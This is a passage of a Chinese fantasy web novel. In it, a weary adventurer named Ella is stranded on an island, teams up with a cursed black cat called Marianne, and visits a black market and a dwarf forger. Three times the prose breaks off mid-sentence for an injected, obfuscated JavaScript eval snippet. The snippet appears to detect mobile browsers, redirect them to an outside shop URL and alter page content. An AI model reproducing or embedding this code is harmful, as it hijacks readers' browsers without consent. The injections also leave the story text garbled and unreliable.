《勇者想放假[西幻]》 1. 孤岛 “伟大的马赫塔利亚啊,请怜悯我这个可怜虫,赐给我今日的食物吧!” 这是厄拉向神明乞讨的第三天,也是她困在这座与世隔绝鸟不拉屎的破岛的第三天。 命运捉弄倒霉蛋,三天前,她还是一个近乡情怯的回头游子,在脑海里排演着回家后怎么应对七大姑八大姨的奚落。谁知一场猝不及防的大风暴一把掀翻了她的小船,好消息:她暂时不用考虑怎么在自家当隐身人了。坏消息:就是好消息只有这一个。 她的船没了,行李没了,祖传的盔甲进海给鱼当路障去了。她不知道自己身在何方,不知道这座无名孤岛偏离她原定的路线多远。她尝试着用脚丈量岛的大小,在沿着沙滩走了半天后宣告放弃。此时,她已经饿得头晕眼花,能吃下一整头牛——如果岛上有牛的话。 在沙滩上捕螃蟹还是太不现实了,她走投无路,只好向内陆走去,从沙滩一头扎进了树林。 她一踏进树林,就感受到了一股强大的魔力。果不其然,没走几步她就看到了自己曾经在黑市眼馋了好久的金苹果树。黑市上的那棵是商贩培育出来的迷你盆栽版,结的果子又小又瘪,但价格还是让她望而却步的天文数字。她现在看到的这棵,个头有一个人那样高,果子饱满,闪着熠熠金光,晃得她眼睛都睁不开。 只可惜,金苹果只有灵兽才能吃,人吃了会重金属中毒。她恋恋地摩挲了一下果实,又被饥饿感驱使去觅食了。 树林里遍地都是像那颗金苹果树一样的珍稀植物,厄拉晃然以为自己走进了谁的宝库。不对,就是现在财富榜第一的富豪家中,又何曾聚集过这么多的神奇宝贝。 饥饿也没有阻止她做白日梦:“如果能把这些宝贝全部移植回家,那我岂不是躺在金山上,后半辈子就不用工作了!” 神啊,她当勇者出生入死一个月的佣金也才能买一个二等成色的金苹果!如今财富就在眼前,她却一样都带不走,这和送瞎子世界名画有什么区别! 这些珍稀植物固然可爱,但它们没有一个可以来填饱肚子,全都中看不中吃。厄拉唯一放进嘴里的是三粒火山浆果——这种浆果一咬开会爆裂出汁水,吃了它身上会发出迷人的香味,是很多人约会的必备零食。问题是——它太小了,拿来塞牙缝都嫌不够,吃了等于没吃。 浑身散发着迷人香味的厄拉恨不得咬自己一口。不知是因为被海水泡久了还是因为饥饿,她的肉浮肿,一戳就是一个坑。她的腿也越来越沉重,马上就要支撑不住身体了。 就在这时,拨开丛丛灌木,一座爬满斑驳苔藓的雕像赫然出现—— 厄拉第一眼以为自己看到了幻形树。 “变个石头干嘛,你变个大法棍还好些。” 细想不对,幻形树的样子由观察人的想法决定,它会变成人最渴望看到的事物。厄拉此时肯定不会希望看到一尊啃不动的雕像。 厄拉强行抬起眼皮:这是一尊女人的等身像,虽然已经沾满了杂草和污垢,但本体并没有被腐蚀风化,眉眼、服饰依旧清晰。 这是一个披着长发,穿着长裙,双手捧着清水,面容悲悯的女人。 “怎么会有人把雕像放在这种地方?等等,这座岛上居然有人!” 有人就说明有食物,有住的地方,这对厄拉来说是个天大的喜讯。人的悲喜转变很快,她瞬间又有了精力。 仔细看,雕像的基座上刻了字。厄拉抹掉泥土,发现这座岛的岛民使用的文字与外面并无不同。 “慈悲的—马-赫-塔-利-亚。这是神明,还是勇者?” 人到了山穷水尽的时候,遇到什么杂号神明都想拜一下。不管有没有用,先起到一个心理作用。对于厄拉这种每次出任务都把世界各个大陆的神求一遍的多神论信徒,有祈祷的机会必定不会落下。 “慈悲的马赫塔利亚,我在你的岛上快要饿死了,你如果听得到我的祈祷,就发发善心,赐给我食物吧。” 她在祈祷的时候总是很虔诚的。一睁开眼,马赫塔利亚长着苔藓的眼珠子望向树林深处,像是丝毫没有察觉到厄拉的存在。 厄拉本来也没指望,拍拍屁股继续往前走。可没走几步,头重脚轻的她就被一块硬物绊倒了,直接摔了个狗啃泥。 “呸,呸,什么东西?” 她气冲冲地掘开湿软的泥土,挖出来一个罐子。它埋得很浅,应该是不久之前才被放到这的,经过雨水冲刷露出头来。打开一看,厄拉眼神发亮: ——是肉干! 咸香的气味钻进她的鼻孔,口水快要漫出嘴巴。她贪婪地嗅了嗅,大致判断了一下还能吃,便抓起一大把塞进嘴巴,吧唧吧唧地咀嚼起来。 经络分明,虽然没什么弹性但很劲道,主要是耐嚼,饱腹感很强。虽然厄拉没有尝出是什么肉,但无所谓,她感谢自然的恩赐。 她牙口很好,腮帮子有力,一顿全吃肉干也毫无压力。 啾啾啾啾,她嚼着,泪汪汪地望向雕像,她真想亲吻马赫塔利亚斜向上仰头突出的那一瓣饱满的脸颊。 “慈悲的马赫塔利亚,在这座岛上,我会一直拥护你的呜呜!” 蛋白质就是管饱,一餐下来,罐子里的肉还剩一小半,可以留着日后的旅途当干粮——她还是要去找到岛民的,不管怎么说,她得有一艘船才能回家啊。 但就在进食的过程中,她有了点节外生枝的想法。 天知道,她有多久没有这样纯粹地、不用想事情、不用和旁人应酬地吃过一顿饭了?她沉浸地感受自己上颚移动,牙齿嵌进肉块里,舌头翻腾着吸取味道,感受嚼烂的肉沫顺着食道向下咕咚咕咚地移动。她的大脑除了操控她的生理行为,不再多燃烧一个细胞。 没有人催她:“快吃,我们马上开工!” 没有人提醒:“我们这个月餐费有点超支。” 没有人敲桌子:“一天到晚只想着吃什么,把这些精力放在工作上,你也不至于连头狼都砍不死。” 这些烦心的事全都没有,真是——太幸福了! 她都快流泪了。要是这样无忧无虑的时间能多一些,该有多好啊。 人的行动力真是会发挥在一些意想不到的地方。 厄拉做了一个决定:她要给自己放假。什么?假期多长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444039|201070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,先暂定一个月吧。 一个月的长假,自她上了中学以后就没有再听过这么小众的词汇。离家当了勇者之后整整五年,她再也没有感受过放假的滋味。 在队伍里时,队友们恨不得二十四小时都在探险,手上的剑没有一刻在鞘中,精力药水一瓶又一瓶地下肚。 失业时,她为了投简历焦头烂额,整天蹲在人才市场上,希望有好心的小队把她捡走。这倒是可以休息,不过她焦虑得压根睡不着,反而比上工时更累。 而如今被困岛上,她是个一无所有、身心俱疲的倒霉蛋。没有工作要做,唯一的目标就是回家——而她希望这个目标可以无限期延后达成。逃避虽然可耻但是有用,更何况她现在没有在逃避,这叫修整。 她大致规划了一下:她要先搭个树屋补觉,然后参观一下这片遍地宝物的树林,摘点纪念品,接着下海游泳、捡贝壳、晒日光浴,无所事事地发呆也是必不可少的,最后再去找到岛民,借艘船回家。 想法很好,只有一个问题,吃什么? 慈悲的马赫塔利亚会一直施舍她吗? 看来是会的。来到岛上的第二天,厄拉已经用两棵树的树枝和藤蔓编好了一张悬空吊床,在树林里采了很多果子和叶子,去沙滩捡贝壳并制作了三串项链,对着海螺说了一小时的话。玩累了之后,又重新回到雕像面前祈祷。 “请赐予我食物吧!” 这次言出法随。她话音刚落,“砰”一声,一只灰毛兔子撞到了她身旁的一棵大树上。抢救无效,当场去世。 厄拉:“······” 还——挺简单粗暴。 现在她全心全意地信仰马赫塔利亚了。在烧烤那只肥美的兔子的时候,特地把兔头割下来,放在雕像脚边作为贡品。 这一个月的吃饭问题不用愁了。她心里唯一的一块大石头也落了地,更加斗志满满,一整晚都在考虑明天要不要尝试把身体埋在沙滩里,据说这样可以让身体变得干爽健康。 于是第三天早上,她又来许愿了。 这次马赫塔利亚似乎需要一点反应时间,厄拉很有耐心,昨天那只兔子油腻腻的,脂肪很厚,她到现在还饱着呢,并不着急。她还贪心地想着:肉吃多了,能不能来点碳水,比如面包,不过不要北方的那种干巴巴的黑麦面包。 可等了半天,什么也没有出现。她绕雕像一圈,也没找到任何埋藏的罐子坛子。 不会不灵了吧?她开始慌张。 突然,她眼角闪过一道黑影。 有活物! 她在岛上三天,除了小虫子和螃蟹,还没有见过别的生物。 她警惕地望向那道黑影——在一根横着的腐朽树干上,一只脏兮兮、骨瘦如柴的黑猫正缓慢走过,察觉到她的目光,它扭头,用金色的眼睛瞪着她。 “黑猫啊,真倒霉。”厄拉对这个很迷信。 可又一看,她发现了不对劲——那猫嘴里叼着的是一条腌鱼。树林子里哪里来的腌鱼?她明白了,这一定是马赫塔利亚的恩赐,被这只猫给截胡了。 “喂,把鱼给我放下!” 3. 玛丽安 厄拉再次恢复知觉,感受到的是有一个黏黏的、滑滑的东西在舔她的脸。 她浑身酸痛,唯一能动的地方只有眼皮。睁开眼,对上了黑猫的金色瞳孔。 “你命挺硬、身体不错,居然还活下来了。” 厄拉的头还是晕乎乎的。这猫好像在夸她,话说,之前发生了啥来着?啊,天好蓝,沙滩好软,真想睡一觉。 “喂,不会摔出脑震荡了吧?你是落到海里,又不是摔在石头上!”黑猫很焦急。 哦,她重连上了:她是被树人一下子甩飞出去,与天空亲吻之后,掉到水里,昏迷至今。难怪身上这么痛,还湿哒哒的。 一切的罪魁祸首,就是这只猫。 “还能动吗?我们要赶快出发。” “——不能,我要躺着休息一会儿。”厄拉一说话,从嘴里呛出来几口海水,还有几只小鱼。 “啧,”黑猫不满,“这可麻烦了。你要休息多久,十分钟够不够?” 压榨啊!黑心老板啊! “不够,”厄拉觉得它的心一定跟它的毛一样黑,“你当是课间十分钟吗?我是从天上摔下来的诶,病假至少要给一个月吧!” “你包里的药剂能用吗?” 可恶,还有这一出。 黑猫叼着那瓶绿绿的药剂,把又苦又辣的药水倒进她嘴里。这是快速康复剂,她最后一个队长送她的离队礼物。在药效发作时神魂颠倒的时候,厄拉脑子里一直是他那张又黑又圆的脸。 “每个人都有每个人的路,如果你觉得做厨子更符合你的价值观,那你不适合我们小队。” 她不该酒后失言,跟他抱怨当勇者得到的佣金还没有厨子每月拿的铁工资多。事后想起来他的脸越变越黑的样子,真是尬穿地心。 为什么拿的佣金少,她自己最清楚。佣金都是按队发放的,由队长按照任务贡献分配。她顶着无限接近于零,不客气说简直是负数的贡献,多拿一分钱都是队长偏心。 “我错了,队长,我错了,我自己会走的。”她迷迷糊糊地嘟囔。 黑猫耐心地听她胡言乱语,并在她恢复神智后体贴地复盘: “你刚才一直在向你的队长道歉,总共说了三十二次我错了。” 厄拉现在腰不酸了腿不痛了,浑身充满力量,除了肚子饿没有什么不适。这药有提神的作用,她现在精神百倍,可以沿着沙滩跑马拉松。 “让我躺一会儿,刚服完药就活动,骨头还是脆的,会造成永久性损害。等一会儿,等三分钟。” 虽然这口吻很像赖床的小孩,但她的确没说谎话。黑猫也愿意给她这个时间。正好,她有问题要问: “那个树人是冲着你来的,为什么?” “我说过了,我在岛上人人喊打。” “它还叫你——玛丽安。这是你的名字吗?” 黑猫愣了一下:“是的。” “你到底跟岛民有什么恩怨?” “你没必要知道。” “我必须知道,万一前面的路又遇到攻击怎么办?我死也要死个明白。” 黑猫漫不经心地斜睨了她一眼:“等你站起来能走了,我再告诉你。” 经历了树人的教训,她俩这次学乖了,沿着树林的外围走,一遇到危险就往海里跑。玛丽安顺便简要介绍了一下岛上居民的分布情况。 她们现在当然是在岛的最外围,最中心的地方是主城区和皇宫,环绕主城区的是各种族居住区,包括人类、精灵、矮人、兽人,还有这一片共有的森林。再往外就是沙滩和海了。 顺带一提,海里也并不安全,环岛一周的海域都有食人鱼,想出海几乎是不可能的。游泳?除非活腻了。 “天哪,我居然能活着来到岛上。”厄拉立刻因大难不死感到后颈发凉。 “所以说你命大,身子骨抗造。” 但厄拉更好奇的是玛丽安的故事。玛丽安讲述的时候依旧言简意赅,没有细节。但是寥寥几句,已足够让厄拉惊掉下巴。 “我曾经是这座佩特拉岛的守护者。马赫塔利亚用诡计夺走了我的力量,使我只能以猫的形态活在世上。她自己变得强大后,挤掉我的位置获得了岛民的尊敬,从而欺世盗名。哼,不过贪心承受那么强大的力量,注定无法驾驭,她现在正躲在岛上的某个地方休养,也没有人知道她在哪。” 信息量有点大。 “等等,马赫塔利亚是真实存在的?” “不然立她的雕像干嘛?” “你是岛的守护者?” “曾经是。” “你要去找她复仇?” 玛丽安轻笑:“复仇也得先找得到她在哪。她现在恐怕是死了吧,我也没兴趣去跟她纠缠。” “——是不是打不过?” 玛丽安用猫眼瞪她。 “我跟你一样,要离开这座岛。这种过街老鼠的日子我已经过够了,我要去别的地方开启新的生活。” “这样啊,那我们可以一起走啊。”厄拉提议。 “是哦,我没想过这一点,”玛丽安思索,“但我要先进城找一个人,让她把我变回原样。更何况,我们离开岛要去的地方也不一样,还是分开行动吧。” 厄拉点点头。不知为何,她现在看这只惨兮兮的猫,心里竟生出了几分怜爱。过往这么惨,性格变得讨嫌一点也很正常吧。当然,前提是它说的都是真的。 又走了半天,厄拉终于忍不住了:“你饿了吗?我们去捞点食人鱼来吃吧。” 从猫的脸上解读出了无语:“你下海去捞吧,我等着。” “你是猫啊,猫不是爱吃鱼的吗?” “那也得有命来吃它啊。” “你没有魔力吗?用魔力来把它们炸上来啊。” “我的大部分魔力都被马赫塔利亚夺走了。另外,你以前队伍里的法师都是什么人啊,都喜欢在水里炸鱼吗?” “啊,但我真的好饿。”厄拉苦着脸摸着瘪瘪的肚子 经过树人的袭击,她出发前带的那罐肉干已经不翼而飞了。她倒是不累,只是饥饿感一直在作祟,怪烦心的。 玛丽安叹了口气,说:“你在这等着,不要乱走。” 说罢,她一跃窜进树林,没过一会,她带着满是泥土的爪子和口中叼着的腌鱼回来了。 厄拉大喜过望,又从外围的树上掰下树枝和叶子,准备钻木取火。这番大费周章很快被玛丽安叫停了。 “不要蹬鼻子上脸,当务之急是快点赶路!” 厄拉只好边走边吃。这鱼干巴巴的,一口咬下去都是硌牙的砂砾,弥漫着苦味,在吃多了压缩食品的她心里也可以荣登最难吃的食物的前几名。没办法,条件艰苦,聊胜于无。 “这一带都有你藏的鱼吗?” “有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444041|201070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备无患嘛。”玛丽安得意。 不得不说,玛丽安这个雇主当得挺够意思。后续的路途中,厄拉一喊饿,它就去找腌鱼;一喊渴,它就跑到林子探路,带她去最近的泉水。晚上,厄拉很快睡得不省人事,玛丽安却能彻夜不眠,警惕地观察着周围的动静。 看来这份委托也不用出很多力。待下岗勇者厄拉美滋滋地想。 吃腌鱼喝泉水的两天终于结束了,厄拉终于望见了矮人的用大石块砌成的城墙矗立在森林尽头。她们沿着城墙摸索到城门。玛丽安叫住她的步伐。 “这里还属于官方管辖区,想直接进去很难。我们再往前走一点,去找黑市,那里没有守卫看管。” 一人一猫鬼鬼祟祟地避开人流,再次扎进树林。玛丽安口中的黑市就藏在树林、矮人居住区与主城区的交界处,想要找到它,要靠跟随树上悬挂的石子吊坠。石子数等差增加,当看到一棵树上挂了十颗石子时,就说明离目的地不远了。 “通往黑市的路有很多条,我们走的是最人迹罕至的一条。”玛丽安说明道。 “诶,那里有人在摆摊!我知道,可以找他们问路!” 厄拉难得有显摆的机会。玛丽安却冷漠道:“你知道还愣着干嘛,去问啊!” 黑市开放通行的路口千变万化,外人必须得通过这些情报贩子才能知晓。当然,投石问路的资金也是必不可少的。不买这些贩子的东西,到了黑市门口也会被赶出来。里外是互利共赢的关系。 厄拉花了整整一个金币,买了件宛如刚从墓里挖出来的破烂披风,那个瞎眼奸商一手摩挲着钱币,一手在她手心写字。 “老橡树,东方二十步,扯藤蔓四下。” 厄拉将玛丽安藏在披风底下,顺着贩子的提示,走到一根长长的藤蔓前,拽了四下。 “咻”——她脚下一空,直直地坠落,落到一个巨大的蘑菇顶上,在空中弹了两下。 这种法术很明显是地精施展的。精灵们更喜欢在树干上开传送门,人类巫师会让访客念咒语。不同种族的法师有不同的趣味。 厄拉和玛丽安顺着蘑菇的边缘滑下去,紧接着落到一根花粉管里,继续滑行。漫长的路程过后,她们终于落到了地下迷宫的入口。一个带着无脸面具的矮人正在门口啃核桃。看到厄拉的披风,一句话不说放她过去了。 迷宫内外完全是两幅截然不同的景象。迷宫内尘土满天,充斥着千奇百怪的气味。不同种族的人摩肩擦踵,穿行在集市上,时常有人为踩到对方的脚大打出手,然后一齐被黑市守卫丢出门外。 这里最多的是矮人和人类,偶尔有几个兽人,精灵几乎查无此族。大多数人都穿着厚厚的斗篷,用面罩挡住绝大部分的脸,只露出敏锐的眼睛。 黑市上卖啥的都有,香料、药水、武器、神奇动物的肢体。这都只是表面上摆出来的,只比普通的集市种类多一点、古怪一点。真正不可告人的交易,都藏在暗不见光的地方。 ——当然,厄拉的注意力轻而易举地就被没什么意思的东西吸引走了。 她饶有兴味地研究一块可以使身体轻盈的领巾,但问完价格就失去了拥有它的欲望。随后,她又被据说是食人鱼鱼籽的酱料迷住了。 正当她沉醉其中无法自拔时,玛丽安伸出爪子扒拉她的后颈,不满地催促: “你是来干嘛的?快点,我们去街角那家卖毛皮的店!” 4. 黑市 玛丽安所说的卖毛皮的小店,不细心的人往往走过了都注意不到。那家店藏在漆黑的角落,门口连一盏灯都没有,入口用一张厚而脏的熊皮掩着。不是道上的人,根本不会特意走进这家店。 店内仍然是灰蒙蒙的,只有柜台摆着一根微亮的蜡烛。客人要看货,老板才会拿起蜡烛领着在店内晃悠。 柜台很矮,厄拉低着头只能看到老板光秃秃的脑袋,还有上面触目惊心的抓痕——那是与熊搏斗的纪念。 “你有订货吗?”老板问。 厄拉还没来得及答,玛丽安先声夺人:“我只要你们的废料。” 老板抬起头,浑浊的眼睛闪着凶光,她冷笑:“那可不是什么人都能要的。” 玛丽安:“我与安东内拉·斯内克有点交情,不知道这点面子,在她的后代这儿有没有用?” 老板怔了一下:“···斯内克是我太奶的绰号,不是姓氏。罢了,你跟我来吧。” 厄拉完全处于状况之外,在跟随老板走到后院的甬道上,偷偷问玛丽安:“怎么个事儿?你认识以前的老板?” “那不然。这些人做见不得光的生意,只会把真名告诉信任的人。有能彼此透露真名的关系,这面子还不好使?” “那是她太奶欸,矮人能活三四百岁的吧,那你活多久了?” “比你大得多。” 玛丽安对自己的事总是藏着掖着,套话难如登天。 “你真要买她的货,我可没什么钱了。” “怕什么?先赊账。她们这是家族产业,我欠她太奶的钱到现在都没还呢。” 这种老赖行径就这么厚脸皮地说出来吗?厄拉无语。 还没进后院,一股腥臭味儿就扑面而来,熏得厄拉直皱眉头,踉跄几步。她上次闻到这么恶臭的味道,还是在草原上捕猎魔狼的时候。那时它们为了向小队示威,故意把吃了一半的开膛破肚后的猎物尸.体在帐篷前堆成小山,一闻到那股异味,所有人立刻把胃里的东西呕吐得干干净净。 为了避免那种狼狈的境况重演,厄拉只敢用嘴呼吸,死死捏住鼻子,皱着脸皮踏进了后院。 院里比店内亮堂多了,一周的护栏上都挂着油灯。而油灯之间则悬挂着被劈开的动物躯体,有的内脏已经被掏空,有的还留着,吸引了密密麻麻的苍蝇和蚊虫。 院子中间的地上,摆放着数十个同老板身高一样的大罐子,里面熬着五彩斑斓的粘稠液体,都咕噜咕噜地冒着热气。仔细一看,每个罐子的底旁边都有一个带着镣铐的小火灵,正憋红了脸施法给罐子加热。 这在岛外是绝对违法的,厄拉想,尤其是最近才修改的《微型生物权益保障法》,特意将非法雇佣元素灵怪的刑期从十年改到了三十年。一次性雇佣这么多,不知道要加刑加到什么时候。 不过老板根本没有自己在犯罪的认知。路过罐子时,还踢了一个疲劳得双眼眯缝的火灵一脚。 “再偷懒,老娘一脚把你踩死!” 警告完,她又摆着臭脸看向脸色发青的厄拉。 “要肉,还是要汁?” 玛丽安答:“要汁。加了独角兽血的那种银白色的汁。给我们五升。” 又补充一句:“赊账。记在玛格丽特·内尔名下。” 老板撇了撇嘴:“又来个赊账的?行吧,等着,我去拿个桶。” 趁她进里屋的间隙,厄拉又问:“玛格丽特又是谁啊?” “我的化名。一会儿做假身份,你也要报这个名字:我是你的猫,玛格丽特。” “可给独角兽放血是犯法的,我们真的能拿这种东西吗?” “我才不知道犯不犯法呢。更何况,你来黑市是为了买允许上市的东西吗?” 厄拉语塞,瘪瘪嘴。 她环顾四周,辨认着那些血淋淋的动物躯体。果不其然有一只已经皮肤发灰的独角兽,还有巨蜥、黑熊、鹿首怪鸟、海妖······全都是岛外严令禁止抓捕的生物。老板看来不止会被判监禁,绞刑都是逃不掉的。 至于罐子里熬着的—— 她问底下干活的火灵,但它指了指自己的嘴巴,摇了摇头,继续卯足了劲儿加热。 “为了防止它们工作时聊天,或者商议逃跑,它们的舌头被拔掉了,”玛丽安解释道,“至于罐子里,是把动物的肉熬出油脂,再加上一些别的配料,做成药水,得到的成品拿出去价值连城。只开毛皮店她们是赚不了几个钱的,得靠这个,她们才能发家致富。” 要不是一路上没吃什么,厄拉这时已经吐出来了。她现在一心只想离开这个残忍的地方,去外面透透气,感受正常的、阳光明媚的世界。 老板不一会儿抱着罐子出来,一边蛮横地往厄拉怀里塞,一边喘着粗气抱怨道: “算上今天这单,你在我们这儿已经欠了五千金币了,劝你在我这一代都还上,不然下次可有你好果子吃。” 玛丽安在披风底下油腔滑调:“千金难买真朋友。咱们世代的交情,哪能因为一点钱就闹掰呢?” “哼,你下次再来赊账,我就叫你留下一只手。” 虽然狠话是对着玛丽安放的,但作为它传声筒的厄拉还是脊背发凉,抱着罐子冲出了店门。 一人一猫躲到一个无人经过的黑灯瞎火的地方,厄拉放下罐子,揭开盖,臭味势不可挡地飘出来。玛丽安也面露难色,但还是把心一横,带着视死如归的表情将整个身子在那罐还发热的汁液里滚了一遍。等到它从罐口挤出来,整只猫已经改头换面,变得通体雪白又臭烘烘。 “哇,”厄拉感叹,“你现在的毛色像独角兽的一样好看,亮闪闪的。” 玛丽安还是一脸死相:“你还有没有火山浆果?我要被我自己熏晕了······” 不管怎么说,玛丽安现在获得了充分的行动自由,可以大摇大摆地在街道上穿行,不用藏在厄拉的披风底下了。还有不少人被它漂亮的毛色吸引,凑上来揉它的头,摸它的毛发。厄拉担心这样会让它才染好的毛掉色,但广受欢迎的玛丽安毫不担心。 “这种油脂做的颜料抹在身上,哪怕在水里泡几天几夜都不会掉色。” 它还向厄拉推荐这款产品:“你考不考虑重新染一下你的头发?” 厄拉的头发自从上岸以来就一直保持着灾难的状态。她本来精心打理着自己的短款波波头,还自己染了仙气的孔雀蓝色。可惜,被海水泡过之后,残余的颜色斑驳得如同发霉,一眼望去,她和一个毒蘑菇没有两样。果然,不能图便宜买劣质染发剂。 但把那种臭气熏天的染料往头发上搽?再多的火山浆果也无法使她克服心理上这一关。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444042|201070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 下一站,是找到能伪造证明的地方。玛丽安说,要去找一个人称“鼠姨”的人。她做证件从未失手,好评率百分之百。毕竟是做假.证件这样一出纰漏就关乎性命的大事,大家都愿意找靠谱的人,而不是贪图小便宜。所以,鼠姨的办公费也水涨船高,屡次打破黑市成交价记录。 传言,她做过最贵的单子是伪造贵族身份,不仅要制作那人编出来的祖宗十八代的出生、去世、房产、田产证明,还要做各种荣誉勋章、债务欠条、雇佣合同。那个拿着假身份的人至今还在扮贵族,活跃在王室交际圈内,据说还成了王的宠臣,风光无限。不过鼠姨的保密工作做得很好,没人知道臣子中哪个是假货。鼠姨也靠这一单一战成名。 厄拉打断玛丽安的介绍:“所以,这次还能赊账吗?” “不能。” “那我们没钱付啊。” “笨,把刚刚得来的这罐染料卖了去不救行了。” 哇,还有一鱼两吃! 鼠姨的作坊就在她的家里。虽然门头还是破破烂烂的,与其他店面无异。但一进屋,映入眼帘的是暖色系的家具,到处都放着又软又厚的毛绒垫子,装饰品都是手工编织的毛线玩偶,墙上挂着许多装裱好的花体字书法作品,还有各种涂鸦。这样温馨惬意的氛围,立刻治愈了厄拉不久前在毛皮店受到创伤的心灵。 “是矮人型号的家具诶,好可爱!”她抚摸着刚到她腰线的刺绣沙发的脊梁。 “喂,鼠姨在二楼,快点上来。”玛丽安已经跟随着带路的地灵踏上楼梯,回头催促没有丝毫紧张感的厄拉。 鼠姨办公的地方就没有那么舒服了。那是一间天花板低矮的房间,个头高的人类不得不弯腰驼背。鼠姨是个棕色头发的中年矮人妇女,戴着厚厚的眼镜,不停地挥着手中的笔,伏在一张石桌上,头顶挂着一盏过度燃烧的灯,上半身被堆成塔的纸张掩埋,面前是东倒西歪的笔架和墨水。见有新的客人,头都不抬。 “基础款价目表贴在桌前,自己看。定制订单本月已满,要到下月开放。” 厄拉趴在地上研究:基础款有身份证明,各种资产证明,亲子关系证明,假合同,宠物许可证等。价格不算亲民,但她们刚刚倒卖得来的钱支付也是绰绰有余。 “我和我的猫都要做去主城区的身份证明。” 鼠姨飞快地抬头瞟了她们一眼。 “填表,填完后让地灵带你去隔壁交钱。三天后来取。” 鼠姨这套工作流程经过无数次优化,已经变得快捷利落,效率遥遥领先同行。 地灵就比流水线有人情味儿多了,一边给她们找钱,一边夸厄拉的头发染得真有特色,还在玛丽安的头顶上猛嘬了十几口。 “小猫咪,你怎么这么香呀?” “因为我吃了火山浆果。”玛丽安被吸得面无表情。 程序走完,正当她们准备离开时,隔壁鼠姨的房间却突然传来了一阵吵闹声。 “怎么了?有客人来闹事?”厄拉疑惑。 地灵看起来习以为常,叹了口气:“不是,是母女俩又吵架了。” 看热闹是全种族的共同爱好,厄拉和玛丽安蹑手蹑脚地溜到鼠姨门前,附上耳朵偷听。 只听见一个少女带着哭腔在大吼:“你要是不把通行证给我,我就死给你看!” 5. 矮人农家乐(一) 厄拉悄悄将门推开一个小缝,探头道:“鼠姨,我们走了。” 房间内的两个人齐齐看向她。 鼠姨的眼镜已经取下来了,眉间拧出一个川字纹。她桌上的纸张很多已经散落在地,还有一瓶未开盖的墨水倒在地上。 桌旁站着一个穿着皮衣的矮人少女。坦白来说,厄拉一直分不清矮人们的长相有什么区别,一概都是又圆又塌的鼻头,肿眼泡,厚厚的嘴唇,茂密的毛发,粗壮敦厚的身材。但哪怕是脸盲晚期的她也一眼看出了少女和鼠姨五官的相似。 少女比鼠姨的长相更细腻精致一点,下颌角没有长胡须,额头和下巴上长着红红的青春痘。她的个头比一般的矮人要高,却比不上人类。厄拉猜,她应该是矮人和人类的混血儿。 “你们要走就直接走,跟我汇报干什么?”鼠姨很恼火,“怎么,我们家的热闹很好看吗?” 少女却抓住机会,歇斯底里地叫起来:“把通行证给我,不然我就闹得吓跑你的所有客人,让你出尽洋相!” “笑死我了,你以为这样很给你长脸是吗?跟个跳梁小丑似的,你有本事去街上撒泼打滚,我绝不拦着。” “去就去,我到街上去喊,鼠姨金·哈特是个做假.证的!” “哎呦,跟谁不知道似的,还劳烦您给我打广告。” 少女气得面色通红,却一句话也接不下去。她像个烧水壶一样,一点一点憋气、升温,最终咕嘟咕嘟地沸腾。 “我不活了!我要去买毒药,我死了你就高兴了!” “好走不送。” 少女号啕着冲出了门,孔武有力的身躯险些把厄拉撞倒。 厄拉悻悻地看向鼠姨:“您···不拦着?在黑市买毒药也不是很难,万一她一冲动···” “不用担心,”鼠姨摆摆手,“她身上一分钱都没有,谁愿意卖东西给她。” 她又狠狠的瞪着她们两个:“现在看够了吧,你们怎么还不走?” 厄拉走在街上,心里耿耿于怀刚才的事,连强效草药染发剂都不能吸引她的兴趣。 “你说,那女孩不会真有事吧?” 玛丽安倒是云淡风轻:“人家老妈都不管,你瞎担什么心。话说,我们还剩点钱,你不想买点新的装备吗?” 虽然嘴上说着不当勇者了,但看到光芒熠熠的银剑,厄拉还是疯狂心动。这优美的弧度、动人的光泽,还有镶嵌在上面点缀的饱满的蓝宝石,简直是她的梦中情剑,哪怕不是出于实用,用来收藏,也是传家宝级别的。厄拉很不争气地输给了自己的物欲。 虽然黑市的标价总是虚高,厄拉消费时也犹犹豫豫的,但她最后还是扣扣搜搜地花了很多钱,置办了一套新装备。 新的佩剑、新的长靴、新的护腕,还有一副新的胸甲。果然人靠衣装,她终于看起来不像一个流亡的乞丐了。除此之外,她还给玛丽安买了一串琥珀吊坠项链。 可哪怕买的时候一直喊着“好实惠”、“赚到了”,看着腰包从鼓鼓囊囊变得干瘪,厄拉还是后悔:哎呀,怎么买了一堆用不上的东西! “不错嘛,在海上遇到海妖,你还可以和她们过两下子。”玛丽安坚定不为打翻的牛奶哭泣。 她们还需要等鼠姨的排单三天。厄拉抓住这个放假的大好机会,在恋恋不舍地告别地下迷宫这个消费天堂后,执拗地要去附近的村庄休整。她钳住玛丽安的两条前腿,它反抗不得。 